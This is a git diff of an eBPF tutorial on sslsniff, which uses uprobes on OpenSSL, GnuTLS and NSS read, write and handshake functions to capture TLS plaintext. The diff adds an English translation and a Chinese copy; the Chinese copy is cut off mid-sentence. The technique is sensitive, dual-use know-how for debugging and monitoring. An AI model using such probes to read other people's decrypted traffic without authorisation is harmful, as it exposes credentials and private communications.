tasks like system monitoring, performance analysis, and network traffic analysis. -### 用户态库 +uprobes are a significant feature of eBPF, allowing dynamic insertion of probe points in user space applications, particularly useful for tracking function calls in SSL/TLS libraries. Uprobe in kernel mode eBPF runtime may also cause relatively large performance overhead. In this case, you can also consider using user mode eBPF runtime, such as [bpftime](https://github.com/eunomia-bpf/bpftime)。bpftime is a user mode eBPF runtime based on LLVM JIT/AOT. It can run eBPF programs in user mode and is compatible with kernel mode eBPF, avoiding context switching between kernel mode and user mode, thereby improving the execution efficiency of eBPF programs. bpftime can have a performance overhead that is one order of magnitude smaller than that of kernel mode eBPF. -SSL/TLS协议的实现主要依赖于用户态库。以下是一些常见的库: +### User-Space Libraries -- OpenSSL: 一个开源的、功能齐全的加密库,广泛应用于许多开源和商业项目中。 -- BoringSSL: 是Google维护的OpenSSL的一个分支,重点是简化和优化,适用于Google的需求。 -- GnuTLS: 是GNU项目的一部分,提供了SSL,TLS和DTLS协议的实现。与OpenSSL和BoringSSL相比,GnuTLS在API设计、模块结构和许可证上有所不同。 +The implementation of the SSL/TLS protocol heavily relies on user-space libraries. Here are some common ones: -## OpenSSL API 分析 +- OpenSSL: An open-source, feature-rich cryptographic library widely used in many open-source and commercial projects. +- BoringSSL: A fork of OpenSSL maintained by Google, focusing on simplification and optimization for Google's needs. +- GnuTLS: Part of the GNU project, offering an implementation of SSL, TLS, and DTLS protocols. GnuTLS differs from OpenSSL and BoringSSL in API design, module structure, and licensing. -OpenSSL 是一个广泛应用的开源库,提供了 SSL 和 TLS 协议的完整实现,并广泛用于各种应用程序中以确保数据传输的安全性。其中,SSL_read() 和 SSL_write() 是两个核心的 API 函数,用于从 TLS/SSL 连接中读取和写入数据。本章节,我们将深入这两个函数,帮助你理解其工作机制。 +## OpenSSL API Analysis -### 1. SSL_read 函数 +OpenSSL is a widely used open-source library providing a complete implementation of the SSL and TLS protocols, ensuring data transmission security in various applications. Among its functions, SSL_read() and SSL_write() are two core API functions for reading from and writing to TLS/SSL connections. In this section, we'll delve into these functions to help you understand their mechanisms. -当我们想从一个已建立的 SSL 连接中读取数据时,可以使用 `SSL_read` 或 `SSL_read_ex` 函数。函数原型如下: +### 1. SSL_read Function + +When we want to read data from an established SSL connection, we can use the `SSL_read` or `SSL_read_ex` function. The function prototype is as follows: ```c int SSL_read_ex(SSL *ssl, void *buf, size_t num, size_t *readbytes); int SSL_read(SSL *ssl, void *buf, int num); ``` -`SSL_read` 和 `SSL_read_ex` 试图从指定的 `ssl` 中读取最多 `num` 字节的数据到缓冲区 `buf` 中。成功时,`SSL_read_ex` 会在 `*readbytes` 中存储实际读取到的字节数。 +`SSL_read` and `SSL_read_ex` attempt to read up to `num` bytes of data from the specified `ssl` into the buffer `buf`. Upon success, `SSL_read_ex` stores the actual number of read bytes in `*readbytes`. -### 2. SSL_write 函数 +### 2. Function SSL_write -当我们想往一个已建立的 SSL 连接中写入数据时,可以使用 `SSL_write` 或 `SSL_write_ex` 函数。 +When we want to write data into an established SSL connection, we can use the `SSL_write` or `SSL_write_ex` functions. -函数原型: +Function prototype: ```c int SSL_write_ex(SSL *s, const void *buf, size_t num, size_t *written); int SSL_write(SSL *ssl, const void *buf, int num); ``` -`SSL_write` 和 `SSL_write_ex` 会从缓冲区 `buf` 中将最多 `num` 字节的数据写入到指定的 `ssl` 连接中。成功时,`SSL_write_ex` 会在 `*written` 中存储实际写入的字节数。 +`SSL_write` and `SSL_write_ex` will write up to `num` bytes of data from the buffer `buf` into the specified `ssl` connection. Upon success, `SSL_write_ex` will store the actual number of written bytes in `*written`. -## eBPF 内核态代码编写 +## Writing eBPF Kernel Code -在我们的例子中,我们使用 eBPF 来 hook ssl_read 和 ssl_write 函数,从而在数据读取或写入 SSL 连接时执行自定义操作。 +In our example, we use eBPF to hook the `ssl_read` and `ssl_write` functions to perform custom actions when data is read from or written to an SSL connection. -### 数据结构 +### Data Structures -首先,我们定义了一个数据结构 probe_SSL_data_t 用于在内核态和用户态之间传输数据: +Firstly, we define a data structure `probe_SSL_data_t` to transfer data between kernel and user space: ```c #define MAX_BUF_SIZE 8192 #define TASK_COMM_LEN 16 struct probe_SSL_data_t { - __u64 timestamp_ns; // 时间戳(纳秒) - __u64 delta_ns; // 函数执行时间 - __u32 pid; // 进程 ID - __u32 tid; // 线程 ID - __u32 uid; // 用户 ID - __u32 len; // 读/写数据的长度 - int buf_filled; // 缓冲区是否填充完整 - int rw; // 读或写(0为读,1为写) - char comm[TASK_COMM_LEN]; // 进程名 - __u8 buf[MAX_BUF_SIZE]; // 数据缓冲区 - int is_handshake; // 是否是握手数据 + __u64 timestamp_ns; // Timestamp (nanoseconds) + __u64 delta_ns; // Function execution time + __u32 pid; // Process ID + __u32 tid; // Thread ID + __u32 uid; // User ID + __u32 len; // Length of read/write data + int buf_filled; // Whether buffer is filled completely + int rw; // Read or Write (0 for read, 1 for write) + char comm[TASK_COMM_LEN]; // Process name + __u8 buf[MAX_BUF_SIZE]; // Data buffer + int is_handshake; // Whether it's handshake data }; ``` -### Hook 函数 +### Hook Functions -我们的目标是 hook 到 `SSL_read` 和 `SSL_write` 函数。我们定义了一个函数 `SSL_exit` 来处理这两个函数的返回值。该函数会根据当前进程和线程的 ID,确定是否需要追踪并收集数据。 +Our goal is to hook into the `SSL_read` and `SSL_write` functions. We define a function `SSL_exit` to handle the return values of these two functions. This function determines whether to trace and collect data based on the current process and thread IDs. ```c static int SSL_exit(struct pt_regs *ctx, int rw) { @@ -173,39 +175,39 @@ static int SSL_exit(struct pt_regs *ctx, int rw) { } ``` -这里的 `rw` 参数标识是读还是写。0 代表读,1 代表写。 +The `rw` parameter here indicates whether it's a read or write operation. 0 represents read, and 1 represents write. -#### 数据收集流程 +#### Data Collection Process -1. 获取当前进程和线程的 ID,以及当前用户的 ID。 -2. 通过 `trace_allowed` 判断是否允许追踪该进程。 -3. 获取起始时间,以计算函数的执行时间。 -4. 尝试从 `bufs` 和 `start_ns` maps 中查找相关的数据。 -5. 如果成功读取了数据,则创建或查找 `probe_SSL_data_t` 结构来填充数据。 -6. 将数据从用户空间复制到缓冲区,并确保不超过预定的大小。 -7. 最后,将数据发送到用户空间。 +1. Obtain the ID of the current process and thread, along with the ID of the current user. +2. Use `trace_allowed` to determine if tracing is allowed for this process. +3. Get the start time to calculate the execution time of the function. +4. Attempt to retrieve relevant data from the `bufs` and `start_ns` maps. +5. If data retrieval is successful, create or locate a `probe_SSL_data_t` structure to populate the data. +6. Copy the data from user space to the buffer, ensuring it doesn't exceed the designated size. +7. Finally, send the data to user space. -注意:我们使用了两个用户返回探针 `uretprobe` 来分别 hook `SSL_read` 和 `SSL_write` 的返回: +Note: We use two user-level return probes `uretprobe` to respectively hook the returns of `SSL_read` and `SSL_write`: ```c SEC("uretprobe/SSL_read") int BPF_URETPROBE(probe_SSL_read_exit) { - return (SSL_exit(ctx, 0)); // 0 表示读操作 + return (SSL_exit(ctx, 0)); // 0 indicates read operation } SEC("uretprobe/SSL_write") int BPF_URETPROBE(probe_SSL_write_exit) { - return (SSL_exit(ctx, 1)); // 1 表示写操作 + return (SSL_exit(ctx, 1)); // 1 indicates write operation } ``` -### Hook到握手过程 +### Hooking into the Handshake Process -在 SSL/TLS 中,握手(handshake)是一个特殊的过程,用于在客户端和服务器之间建立安全的连接。为了分析此过程,我们 hook 到了 `do_handshake` 函数,以跟踪握手的开始和结束。 +In SSL/TLS, the handshake is a special process used to establish a secure connection between a client and a server. To analyze this process, we hook into the `do_handshake` function to track the start and end of the handshake. -#### 进入握手 +#### Entering the Handshake -我们使用 `uprobe` 为 `do_handshake` 设置一个 probe: +We use a `uprobe` to set a probe for the `do_handshake` function: ```c @@ -227,15 +229,25 @@ int BPF_UPROBE(probe_SSL_do_handshake_enter, void *ssl) { } ``` -这段代码的主要功能如下: +The main functionality of this code is as follows: + +1. Obtain the current `pid`, `tid`, `ts`, and `uid`. +2. Use `trace_allowed` to verify if the process is allowed to be traced. +3. Store the current timestamp in the `start_ns` map, which will be used to calculate the duration of the handshake process later. + +#### Exiting the Handshake -1. 获取当前的 `pid`, `tid`, `ts` 和 `uid`。 -2. 使用 `trace_allowed` 检查进程是否被允许追踪。 -3. 将当前时间戳存储在 `start_ns` 映射中,用于稍后计算握手过程的持续时间。 +Similarly, we've set a `uretprobe` for the return of `do_handshake`: -#### 退出握手 +```c +SEC("uretprobe/do_handshake") +int BPF_URETPROBE(handle_do_handshake_exit) { + // Code to execute upon exiting the do_handshake function. + return 0; +} +``` -同样,我们为 `do_handshake` 的返回设置了一个 `uretprobe`: +In this context, the `uretprobe` will execute the provided code when the `do_handshake` function exits. ```c @@ -287,29 +299,29 @@ int BPF_URETPROBE(probe_SSL_do_handshake_exit) { } ``` -此函数的逻辑如下: +Logic of this Function: -1. 获取当前的 `pid`, `tid`, `ts` 和 `uid`。 -2. 使用 `trace_allowed` 再次检查是否允许追踪。 -3. 查找 `start_ns` 映射中的时间戳,用于计算握手的持续时间。 -4. 使用 `PT_REGS_RC(ctx)` 获取 `do_handshake` 的返回值,判断握手是否成功。 -5. 查找或初始化与当前线程关联的 `probe_SSL_data_t` 数据结构。 -6. 更新数据结构的字段,包括时间戳、持续时间、进程信息等。 -7. 通过 `bpf_perf_event_output` 将数据发送到用户态。 +1. Obtain the current `pid`, `tid`, `ts`, and `uid`. +2. Use `trace_allowed` to recheck if tracing is allowed. +3. Look up the timestamp in the `start_ns` map for calculating handshake duration. +4. Use `PT_REGS_RC(ctx)` to get the return value of `do_handshake` and determine if the handshake was successful. +5. Find or initialize the `probe_SSL_data_t` data structure associated with the current thread. +6. Update the data structure's fields, including timestamp, duration, process information, etc. +7. Use `bpf_perf_event_output` to send the data to user space. -我们的 eBPF 代码不仅跟踪了 `ssl_read` 和 `ssl_write` 的数据传输,还特别关注了 SSL/TLS 的握手过程。这些信息对于深入了解和优化安全连接的性能至关重要。 +Our eBPF code not only tracks data transmission for `ssl_read` and `ssl_write` but also focuses on the SSL/TLS handshake process. This information is crucial for a deeper understanding and optimization of the performance of secure connections. -通过这些 hook 函数,我们可以获得关于握手成功与否、握手所需的时间以及相关的进程信息的数据。这为我们提供了关于系统 SSL/TLS 行为的深入见解,可以帮助我们在需要时进行更深入的分析和优化。 +Through these hook functions, we can obtain data regarding the success of the handshake, the time taken for the handshake, and related process information. This provides us with insights into the behavior of the system's SSL/TLS, enabling us to perform more in-depth analysis and optimization when necessary. -## 用户态辅助代码分析与解读 +## User-Space Assisted Code Analysis and Interpretation -在 eBPF 的生态系统中,用户态和内核态代码经常协同工作。内核态代码负责数据的采集,而用户态代码则负责设置、管理和处理这些数据。在本节中,我们将解读上述用户态代码如何配合 eBPF 追踪 SSL/TLS 交互。 +In the eBPF ecosystem, user-space and kernel-space code often work in collaboration. Kernel-space code is responsible for data collection, while user-space code manages, processes, and handles this data. In this section, we will explain how the above user-space code collaborates with eBPF to trace SSL/TLS interactions. -### 1. 支持的库挂载 +### 1. Supported Library Attachment -上述代码片段中,根据环境变量 `env` 的设定,程序可以选择针对三种常见的加密库(OpenSSL、GnuTLS 和 NSS)进行挂载。这意味着我们可以在同一个工具中对多种库的调用进行追踪。 +In the provided code snippet, based on the setting of the `env` environment variable, the program can choose to attach to three common encryption libraries (OpenSSL, GnuTLS, and NSS). This means that we can trace calls to multiple libraries within the same tool. -为了实现这一功能,首先利用 `find_library_path` 函数确定库的路径。然后,根据库的类型,调用对应的 `attach_` 函数来将 eBPF 程序挂载到库函数上。 +To achieve this functionality, the `find_library_path` function is first used to determine the library's path. Then, depending on the library type, the corresponding `attach_` function is called to attach the eBPF program to the library function. ```c if (env.openssl) { @@ -329,11 +341,11 @@ int BPF_URETPROBE(probe_SSL_do_handshake_exit) { } ``` -这里主要包含 OpenSSL、GnuTLS 和 NSS 三个库的挂载逻辑。NSS 是为组织设计的一套安全库,支持创建安全的客户端和服务器应用程序。它们最初是由 Netscape 开发的,现在由 Mozilla 维护。其他两个库前面已经介绍过了,这里不再赘述。 +This section primarily covers the attachment logic for the OpenSSL, GnuTLS, and NSS libraries. NSS is a set of security libraries designed for organizations, supporting the creation of secure client and server applications. Originally developed by Netscape, they are now maintained by Mozilla. The other two libraries have been introduced earlier and are not reiterated here. -### 2. 详细挂载逻辑 +### 2. Detailed Attachment Logic -具体的 attach 函数如下: +The specific `attach` functions are as follows: ```c #define __ATTACH_UPROBE(skel, binary_path, sym_name, prog_name, is_retprobe) \ @@ -383,26 +395,26 @@ int attach_nss(struct sslsniff_bpf *skel, const char *lib) { } ``` -我们进一步观察 `attach_` 函数,可以看到它们都使用了 `ATTACH_UPROBE_CHECKED` 和 `ATTACH_URETPROBE_CHECKED` 宏来实现具体的挂载逻辑。这两个宏分别用于设置 uprobe(函数入口)和 uretprobe(函数返回)。 +We further examine the `attach_` function and can see that they both use the `ATTACH_UPROBE_CHECKED` and `ATTACH_URETPROBE_CHECKED` macros to implement specific mounting logic. These two macros are used respectively for setting uprobe (function entry) and uretprobe (function return). -考虑到不同的库有不同的 API 函数名称(例如,OpenSSL 使用 `SSL_write`,而 GnuTLS 使用 `gnutls_record_send`),所以我们需要为每个库写一个独立的 `attach_` 函数。 +Considering that different libraries have different API function names (for example, OpenSSL uses `SSL_write`, while GnuTLS uses `gnutls_record_send`), we need to write a separate `attach_` function for each library. -例如,在 `attach_openssl` 函数中,我们为 `SSL_write` 和 `SSL_read` 设置了 probe。如果用户还希望追踪握手的延迟 (`env.latency`) 和握手过程 (`env.handshake`),那么我们还会为 `SSL_do_handshake` 设置 probe。 +For instance, in the `attach_openssl` function, we set up probes for both `SSL_write` and `SSL_read`. If users also want to track handshake latency (`env.latency`) and the handshake process (`env.handshake`), we set up a probe for `SSL_do_handshake`. -在eBPF生态系统中,perf_buffer是一个用于从内核态传输数据到用户态的高效机制。这对于内核态eBPF程序来说是十分有用的,因为它们不能直接与用户态进行交互。使用perf_buffer,我们可以在内核态eBPF程序中收集数据,然后在用户态异步地读取这些数据。我们使用 `perf_buffer__poll` 函数来读取内核态上报的数据,如下所示: +In the eBPF ecosystem, `perf_buffer` is an efficient mechanism used to transfer data from kernel space to user space. This is particularly useful for kernel-space eBPF programs as they can't directly interact with user space. With `perf_buffer`, we can collect data in kernel-space eBPF programs and then asynchronously read this data in user space. We use the `perf_buffer__poll` function to read data reported in kernel space, as shown below: ```c - while (!exiting) { - err = perf_buffer__poll(pb, PERF_POLL_TIMEOUT_MS); - if (err < 0 && err != -EINTR) { - warn("error polling perf buffer: %s\n", strerror(-err)); - goto cleanup; - } - err = 0; +while (!exiting) { + err = perf_buffer__poll(pb, PERF_POLL_TIMEOUT_MS); + if (err < 0 && err != -EINTR) { + warn("error polling perf buffer: %s\n", strerror(-err)); + goto cleanup; } + err = 0; +} ``` -最后,在 print_event 函数中,我们将数据打印到标准输出: +Finally, in the `print_event` function, we print the data to standard output: ```c // Function to print the event from the perf buffer @@ -426,37 +438,35 @@ void print_event(struct probe_SSL_data_t *event, const char *evt) { } ``` -完整的源代码可以在这里查看: - -## 编译与运行 +You can find the complete source code here: [https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/30-sslsniff](https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/30-sslsniff) -关于如何安装依赖,请参考: +## Compilation and Execution -要开始使用 `sslsniff`,首先要进行编译: +To start using `sslsniff`, you need to first compile it: ```sh make ``` -完成后,请按照以下步骤操作: +Once done, follow these steps: -### **启动 sslsniff** +### **Start sslsniff** -在一个终端中,执行以下命令来启动 `sslsniff`: +In a terminal, execute the following command to start `sslsniff`: ```sh sudo ./sslsniff ``` -### **执行 CURL 命令** +### **Execute CURL command** -在另一个终端中,执行: +In another terminal, execute: ```console curl https://example.com ``` -正常情况下,你会看到类似以下的输出: +Under normal circumstances, you will see output similar to the following: ```html @@ -472,9 +482,9 @@ curl https://example.com ``` -### **sslsniff 输出** +### **sslsniff Output** -当执行 `curl` 命令后,`sslsniff` 会显示以下内容: +After executing the `curl` command, `sslsniff` will display the following content: ```txt READ/RECV 0.132786160 curl 47458 1256 @@ -491,11 +501,11 @@ curl https://example.com ----- END DATA ----- ``` -**注意**:显示的 HTML 内容可能会因 `example.com` 页面的不同而有所不同。 +**Note**: The displayed HTML content may vary depending on the specific content of the `example.com` page. -### 显示延迟和握手过程 +### Displaying Latency and Handshake Process -要查看延迟和握手过程,请执行以下命令: +To view latency and handshake process, execute the following command: ```console $ sudo ./sslsniff -l --handshake @@ -506,9 +516,9 @@ FUNC TIME(s) COMM PID LEN LAT(ms) HANDSHAKE 0.000000000 curl 6460 1 1.384 WRITE/SEND 0.000115400 curl 6460 24 0.014 ``` -### 16进制输出 +### Hexadecimal Output -要以16进制格式显示数据,请执行以下命令: +To display data in hexadecimal format, execute the following command: ```console $ sudo ./sslsniff --hexdump @@ -521,14 +531,16 @@ WRITE/SEND 0.000000000 curl 16104 24 ... ``` -## 总结 +## Summary -eBPF 是一个非常强大的技术,它可以帮助我们深入了解系统的工作原理。本教程是一个简单的示例,展示了如何使用 eBPF 来监控 SSL/TLS 通信。如果您对 eBPF 技术感兴趣,并希望进一步了解和实践,可以访问我们的教程代码仓库 和教程网站 +eBPF is a very powerful technology that can help us gain deeper insights into how a system works. This tutorial is a simple example demonstrating how to use eBPF to monitor SSL/TLS communication. If you're interested in eBPF technology and want to learn more and practice further, you can visit our tutorial code repository at and tutorial website at . -参考资料: +References: - - - - - + +> The original link of this article: diff --git a/src/30-sslsniff/README.zh.md b/src/30-sslsniff/README.zh.md new file mode 100644 index 00000000..bab55776 --- /dev/null +++ b/src/30-sslsniff/README.zh.md @@ -0,0 +1,534 @@ +# eBPF 实践教程:使用 uprobe 捕获多种库的 SSL/TLS 明文数据 + +随着TLS在现代网络环境中的广泛应用,跟踪微服务RPC消息已经变得愈加棘手。传统的流量嗅探技术常常受限于只能获取到加密后的数据,导致无法真正观察到通信的原始内容。这种限制为系统的调试和分析带来了不小的障碍。 + +但现在,我们有了新的解决方案。使用 eBPF 技术,通过其能力在用户空间进行探测,提供了一种方法重新获得明文数据,使得我们可以直观地查看加密前的通信内容。然而,每个应用可能使用不同的库,每个库都有多个版本,这种多样性给跟踪带来了复杂性。 + +在本教程中,我们将带您了解一种跨多种用户态 SSL/TLS 库的 eBPF 追踪技术,它不仅可以同时跟踪 GnuTLS 和 OpenSSL 等用户态库,而且相比以往,大大降低了对新版本库的维护工作。完整的源代码可以在这里查看: + +## 背景知识 + +在深入本教程的主题之前,我们需要理解一些核心概念,这些概念将为我们后面的讨论提供基础。 + +### SSL 和 TLS + +SSL (Secure Sockets Layer): 由 Netscape 在 1990 年代早期开发,为网络上的两台机器之间提供数据加密传输。然而,由于某些已知的安全问题,SSL的使用已被其后继者TLS所替代。 + +TLS (Transport Layer Security): 是 SSL 的继任者,旨在提供更强大和更安全的数据加密方式。TLS 工作通过一个握手过程,在这个过程中,客户端和服务器之间会选择一个加密算法和相应的密钥。一旦握手完成,数据传输开始,所有数据都使用选择的算法和密钥加密。 + +### TLS 的工作原理 + +Transport Layer Security (TLS) 是一个密码学协议,旨在为计算机网络上的通信提供安全性。它主要目标是通过密码学,例如证书的使用,为两个或更多通信的计算机应用程序提供安全性,包括隐私(机密性)、完整性和真实性。TLS 由两个子层组成:TLS 记录协议和TLS 握手协议。 + +#### 握手过程 + +当客户端与启用了TLS的服务器连接并请求建立安全连接时,握手过程开始。握手允许客户端和服务器通过不对称密码来建立连接的安全性参数,完整流程如下: + +1. **初始握手**:客户端连接到启用了TLS的服务器,请求安全连接,并提供它支持的密码套件列表(加密算法和哈希函数)。 +2. **选择密码套件**:从提供的列表中,服务器选择它也支持的密码套件和哈希函数,并通知客户端已做出的决定。 +3. **提供数字证书**:通常,服务器接下来会提供形式为数字证书的身份验证。此证书包含服务器名称、信任的证书授权机构(为证书的真实性提供担保)以及服务器的公共加密密钥。 +4. **验证证书**:客户端在继续之前确认证书的有效性。 +5. **生成会话密钥**:为了生成用于安全连接的会话密钥,客户端有以下两种方法: + - 使用服务器的公钥加密一个随机数(PreMasterSecret)并将结果发送到服务器(只有服务器才能使用其私钥解密);双方然后使用该随机数生成一个独特的会话密钥,用于会话期间的数据加密和解密。 + - 使用 Diffie-Hellman 密钥交换(或其变体椭圆曲线DH)来安全地生成一个随机且独特的会话密钥,用于加密和解密,该密钥具有前向保密的额外属性:即使在未来公开了服务器的私钥,也不能用它来解密当前的会话,即使第三方拦截并记录了会话。 + +一旦上述步骤成功完成,握手过程便结束,加密的连接开始。此连接使用会话密钥进行加密和解密,直到连接关闭。如果上述任何步骤失败,则TLS握手失败,连接将不会建立。 + +#### OSI模型中的TLS + +TLS 和 SSL 不完全适合 OSI 模型或 TCP/IP 模型的任何单一层次。TLS 在“某些可靠的传输协议(例如,TCP)之上运行”,这意味着它位于传输层之上。它为更高的层提供加密,这通常是表示层的功能。但是,使用TLS 的应用程序通常视其为传输层,即使使用TLS的应用程序必须积极控制启动 TLS 握手和交换的认证证书的处理。 + +### eBPF 和 uprobe + +eBPF (Extended Berkeley Packet Filter): 是一种内核技术,允许用户在内核空间中运行预定义的程序,不需要修改内核源代码或重新加载模块。它创建了一个桥梁,使得用户空间和内核空间可以交互,从而为系统监控、性能分析和网络流量分析等任务提供了无前例的能力。 + +uprobes 是eBPF的一个重要特性,允许我们在用户空间应用程序中动态地插入探测点,特别适用于跟踪SSL/TLS库中的函数调用。Uprobe 在内核态 eBPF 运行时,也可能产生比较大的性能开销,这时候也可以考虑使用用户态 eBPF 运行时,例如 [bpftime](https://github.com/eunomia-bpf/bpftime)。bpftime 是一个基于 LLVM JIT/AOT 的用户态 eBPF 运行时,它可以在用户态运行 eBPF 程序,和内核态的 eBPF 兼容,避免了内核态和用户态之间的上下文切换,从而提高了 eBPF 程序的执行效率。对于 uprobe 而言,bpftime 的性能开销比 kernel 小一个数量级。 + +### 用户态库 + +SSL/TLS协议的实现主要依赖于用户态库。以下是一些常见的库: + +- OpenSSL: 一个开源的、功能齐全的加密库,广泛应用于许多开源和商业项目中。 +- BoringSSL: 是Google维护的OpenSSL的一个分支,重点是简化和优化,适用于Google的需求。 +- GnuTLS: 是GNU项目的一部分,提供了SSL,TLS和DTLS协议的实现。与OpenSSL和BoringSSL相比,GnuTLS在API设计、模块结构和许可证上有所不同。 + +## OpenSSL API 分析 + +OpenSSL 是一个广泛应用的开源库,提供了 SSL 和 TLS 协议的完整实现,并广泛用于各种应用程序中以确保数据传输的安全性。其中,SSL_read() 和 SSL_write() 是两个核心的 API 函数,用于从 TLS/SSL 连接中读取和写入数据。本章节,我们将深入这两个函数,帮助你理解其工作机制。 + +### 1. SSL_read 函数 + +当我们想从一个已建立的 SSL 连接中读取数据时,可以使用 `SSL_read` 或 `SSL_read_ex` 函数。函数原型如下: + +```c +int SSL_read_ex(SSL *ssl, void *buf, size_t num, size_t *readbytes); +int SSL_read(SSL *ssl, void *buf, int num); +``` + +`SSL_read` 和 `SSL_read_ex` 试图从指定的 `ssl` 中读取最多 `num` 字节的数据到缓冲区 `buf` 中。成功时,`SSL_read_ex` 会在 `*readbytes` 中存储实际读取到的字节数。 + +### 2. SSL_write 函数 + +当我们想往一个已建立的 SSL 连接中写入数据时,可以使用 `SSL_write` 或 `SSL_write_ex` 函数。 + +函数原型: + +```c +int SSL_write_ex(SSL *s, const void *buf, size_t num, size_t *written); +int SSL_write(SSL *ssl, const void *buf, int num); +``` + +`SSL_write` 和 `SSL_write_ex` 会从缓冲区 `buf` 中将最多 `num` 字节的数据写入到指定的 `ssl` 连接中。成功时,`SSL_write_ex` 会在 `*written` 中存储实际写入的字节数。 + +## eBPF 内核态代码编写 + +在我们的例子中,我们使用 eBPF 来 hook ssl_read 和 ssl_write 函数,从而在数据读取或写入 SSL 连接时执行自定义操作。 + +### 数据结构 + +首先,我们定义了一个数据结构 probe_SSL_data_t 用于在内核态和用户态之间传输数据: + +```c +#define MAX_BUF_SIZE 8192 +#define TASK_COMM_LEN 16 + +struct probe_SSL_data_t { + __u64 timestamp_ns; // 时间戳(纳秒) + __u64 delta_ns; // 函数执行时间 + __u32 pid; // 进程 ID + __u32 tid; // 线程 ID + __u32 uid; // 用户 ID + __u32 len; // 读/写数据的长度 + int buf_filled; // 缓冲区是否填充完整 + int rw; // 读或写(0为读,1为写) + char comm[TASK_COMM_LEN]; // 进程名 + __u8 buf[MAX_BUF_SIZE]; // 数据缓冲区 + int is_handshake; // 是否是握手数据 +}; +``` + +### Hook 函数 + +我们的目标是 hook 到 `SSL_read` 和 `SSL_write` 函数。我们定义了一个函数 `SSL_exit` 来处理这两个函数的返回值。该函数会根据当前进程和线程的 ID,确定是否需要追踪并收集数据。 + +```c +static int SSL_exit(struct pt_regs *ctx, int rw) { + int ret = 0; + u32 zero = 0; + u64 pid_tgid = bpf_get_current_pid_tgid(); + u32 pid = pid_tgid >> 32; + u32 tid = (u32)pid_tgid; + u32 uid = bpf_get_current_uid_gid(); + u64 ts = bpf_ktime_get_ns(); + + if (!trace_allowed(uid, pid)) { + return 0; + } + + /* store arg info for later lookup */ + u64 *bufp = bpf_map_lookup_elem(&bufs, &tid); + if (bufp == 0) + return 0; + + u64 *tsp = bpf_map_lookup_elem(&start_ns, &tid); + if (!tsp) + return 0; + u64 delta_ns = ts - *tsp; + + int len = PT_REGS_RC(ctx); + if (len <= 0) // no data + return 0; + + struct probe_SSL_data_t *data = bpf_map_lookup_elem(&ssl_data, &zero); + if (!data) + return 0; + + data->timestamp_ns = ts; + data->delta_ns = delta_ns; + data->pid = pid; + data->tid = tid; + data->uid = uid; + data->len = (u32)len; + data->buf_filled = 0; + data->rw = rw; + data->is_handshake = false; + u32 buf_copy_size = min((size_t)MAX_BUF_SIZE, (size_t)len); + + bpf_get_current_comm(&data->comm, sizeof(data->comm)); + + if (bufp != 0) + ret = bpf_probe_read_user(&data->buf, buf_copy_size, (char *)*bufp); + + bpf_map_delete_elem(&bufs, &tid); + bpf_map_delete_elem(&start_ns, &tid); + + if (!ret) + data->buf_filled = 1; + else + buf_copy_size = 0; + + bpf_perf_event_output(ctx, &perf_SSL_events, BPF_F_CURRENT_CPU, data, + EVENT_SIZE(buf_copy_size)); + return 0; +} +``` + +这里的 `rw` 参数标识是读还是写。0 代表读,1 代表写。 + +#### 数据收集流程 + +1. 获取当前进程和线程的 ID,以及当前用户的 ID。 +2. 通过 `trace_allowed` 判断是否允许追踪该进程。 +3. 获取起始时间,以计算函数的执行时间。 +4. 尝试从 `bufs` 和 `start_ns` maps 中查找相关的数据。 +5. 如果成功读取了数据,则创建或查找 `probe_SSL_data_t` 结构来填充数据。 +6. 将数据从用户空间复制到缓冲区,并确保不超过预定的大小。 +7. 最后,将数据发送到用户空间。 + +注意:我们使用了两个用户返回探针 `uretprobe` 来分别 hook `SSL_read` 和 `SSL_write` 的返回: + +```c +SEC("uretprobe/SSL_read") +int BPF_URETPROBE(probe_SSL_read_exit) { + return (SSL_exit(ctx, 0)); // 0 表示读操作 +} + +SEC("uretprobe/SSL_write") +int BPF_URETPROBE(probe_SSL_write_exit) { + return (SSL_exit(ctx, 1)); // 1 表示写操作 +} +``` + +### Hook到握手过程 + +在 SSL/TLS 中,握手(handshake)是一个特殊的过程,用于在客户端和服务器之间建立安全的连接。为了分析此过程,我们 hook 到了 `do_handshake` 函数,以跟踪握手的开始和结束。 + +#### 进入握手 + +我们使用 `uprobe` 为 `do_handshake` 设置一个 probe: + +```c + +SEC("uprobe/do_handshake") +int BPF_UPROBE(probe_SSL_do_handshake_enter, void *ssl) { + u64 pid_tgid = bpf_get_current_pid_tgid(); + u32 pid = pid_tgid >> 32; + u32 tid = (u32)pid_tgid; + u64 ts = bpf_ktime_get_ns(); + u32 uid = bpf_get_current_uid_gid(); + + if (!trace_allowed(uid, pid)) { + return 0; + } + + /* store arg info for later lookup */ + bpf_map_update_elem(&start_ns, &tid, &ts, BPF_ANY); + return 0; +} +``` + +这段代码的主要功能如下: + +1. 获取当前的 `pid`, `tid`, `ts` 和 `uid`。 +2. 使用 `trace_allowed` 检查进程是否被允许追踪。 +3. 将当前时间戳存储在 `start_ns` 映射中,用于稍后计算握手过程的持续时间。 + +#### 退出握手 + +同样,我们为 `do_handshake` 的返回设置了一个 `uretprobe`: + +```c + +SEC("uretprobe/do_handshake") +int BPF_URETPROBE(probe_SSL_do_handshake_exit) { + u32 zero = 0; + u64 pid_tgid = bpf_get_current_pid_tgid(); + u32 pid = pid_tgid >> 32; + u32 tid = (u32)pid_tgid; + u32 uid = bpf_get_current_uid_gid(); + u64 ts = bpf_ktime_get_ns(); + int ret = 0; + + /* use kernel terminology here for tgid/pid: */ + u32 tgid = pid_tgid >> 32; + + /* store arg info for later lookup */ + if (!trace_allowed(tgid, pid)) { + return 0; + } + + u64 *tsp = bpf_map_lookup_elem(&start_ns, &tid); + if (tsp == 0) + return 0; + + ret = PT_REGS_RC(ctx); + if (ret <= 0) // handshake failed + return 0; + + struct probe_SSL_data_t *data = bpf_map_lookup_elem(&ssl_data, &zero); + if (!data) + return 0; + + data->timestamp_ns = ts; + data->delta_ns = ts - *tsp; + data->pid = pid; + data->tid = tid; + data->uid = uid; + data->len = ret; + data->buf_filled = 0; + data->rw = 2; + data->is_handshake = true; + bpf_get_current_comm(&data->comm, sizeof(data->comm)); + bpf_map_delete_elem(&start_ns, &tid); + + bpf_perf_event_output(ctx, &perf_SSL_events, BPF_F_CURRENT_CPU, data, + EVENT_SIZE(0)); + return 0; +} +``` + +此函数的逻辑如下: + +1. 获取当前的 `pid`, `tid`, `ts` 和 `uid`。 +2. 使用 `trace_allowed` 再次检查是否允许追踪。 +3. 查找 `start_ns` 映射中的时间戳,用于计算握手的持续时间。 +4. 使用 `PT_REGS_RC(ctx)` 获取 